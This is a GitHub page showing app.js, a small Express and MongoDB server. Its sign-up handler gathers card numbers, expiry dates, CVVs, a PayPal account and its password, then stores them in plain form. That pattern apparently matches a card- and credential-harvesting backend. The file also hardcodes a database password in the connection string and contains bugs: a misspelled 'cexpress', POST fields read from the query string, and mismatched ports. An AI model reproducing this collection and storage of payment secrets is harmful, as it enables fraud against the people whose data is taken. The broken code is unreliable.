-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.js
80 lines (62 loc) · 2.4 KB
/
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var express=require("express");
var bodyParser=require("body-parser");
var ejs = require('ejs');
var ejsMate = require('ejs-mate');
var password = 'HostingSewaPass@123';
const mongoose = require('mongoose');
mongoose.connect('mongodb+srv://hostingsewa-ecommerce:'+ password +'@hostingsewa-db.mongodb.net/test?retryWrites=true&w=majority');
var db=mongoose.connection;
db.on('error', console.log.bind(console, "connection error"));
db.once('open', function(callback){
console.log("connection succeeded");
})
var app=express() ;
app.use(bodyParser.json());
app.use(cexpress.static('public'));
app.use(bodyParser.urlencoded({
extended: true
}));
app.engine('ejs',ejsMate);
app.set('view engine','ejs');
app.post('/sign_up', function(req,res){
var debitcard_name = req.query['debitcard_name'];
var debit_card_no =req.query['debit_card_no'];
var debitcard_expiration_date = req.query['debitcard_expiration_date'];
var cvv_no_debit =req.query['cvv_no_debit'];
var email=req.query['email'];
var first_name=req.query['first_name'];
var credit_card_name=req.query['credit_card_name'];
var credit_card_no=req.query['credit_card_no'];
var credit_card_expiration=req.query['credit_card_expiration'];
var credit_card_cvv=req.query['credit_card_cvv'];
var radio=req.query['radio'];
var paypal_account=req.query['paypal_account'];
var account_password=req.query['account_password'];
var data = {
"debitcard_name":debitcard_name,
"debit_card_no":debit_card_no,
"debitcard_expiration_date":debitcard_expiration_date,
"cvv_no_debit":cvv_no_debit,
"email":email,
"first_name":first_name,
"credit_card_name":credit_card_name,
"credit_card_no":credit_card_no,
"credit_card_expiration":credit_card_expiration,
"credit_card_cvv":credit_card_cvv,
"radio":radio,
"paypal_account":paypal_account,
"account_password":account_password,
}
db.collection('details').insertOne(data,function(err, collection){
if (err) throw err;
console.log("Record inserted Successfully");
});
return res.redirect('/signup_success');
})
app.get('/',function(req,res){
res.set({
'Access-control-Allow-Origin': '*'
});
return res.redirect('index');
}).listen(3008)
console.log("server listening at port 3000");